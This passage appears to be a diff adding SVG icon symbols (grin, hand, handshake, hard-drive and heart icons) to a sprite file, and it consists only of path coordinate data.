3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z"></path> + </symbol> + <symbol id="grin-squint-tears" viewBox="0 0 512 512"> + <path d="M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z"></path> + </symbol> + <symbol id="grin-stars" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z"></path> + </symbol> + <symbol id="grin-tears" viewBox="0 0 640 512"> + <path d="M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"></path> + </symbol> + <symbol id="grin-tongue" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"></path> + </symbol> + <symbol id="grin-tongue-squint" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z"></path> + </symbol> + <symbol id="grin-tongue-wink" viewBox="0 0 496 512"> + <path d="M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z"></path> + </symbol> + <symbol id="grin-wink" viewBox="0 0 496 512"> + <path d="M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"></path> + </symbol> + <symbol id="hand-lizard" viewBox="0 0 576 512"> + <path d="M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z"></path> + </symbol> + <symbol id="hand-paper" viewBox="0 0 448 512"> + <path d="M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z"></path> + </symbol> + <symbol id="hand-peace" viewBox="0 0 448 512"> + <path d="M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z"></path> + </symbol> + <symbol id="hand-point-down" viewBox="0 0 448 512"> + <path d="M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z"></path> + </symbol> + <symbol id="hand-point-left" viewBox="0 0 512 512"> + <path d="M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"></path> + </symbol> + <symbol id="hand-point-right" viewBox="0 0 512 512"> + <path d="M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"></path> + </symbol> + <symbol id="hand-point-up" viewBox="0 0 448 512"> + <path d="M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"></path> + </symbol> + <symbol id="hand-pointer" viewBox="0 0 448 512"> + <path d="M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z"></path> + </symbol> + <symbol id="hand-rock" viewBox="0 0 512 512"> + <path d="M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z"></path> + </symbol> + <symbol id="hand-scissors" viewBox="0 0 512 512"> + <path d="M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z"></path> + </symbol> + <symbol id="hand-spock" viewBox="0 0 512 512"> + <path d="M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z"></path> + </symbol> + <symbol id="handshake" viewBox="0 0 640 512"> + <path d="M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z"></path> + </symbol> + <symbol id="hdd" viewBox="0 0 576 512"> + <path d="M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z"></path> + </symbol> + <symbol id="heart" viewBox="0 0 512 512"> + <path d="M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z"></path> + </symbol> + <symbol 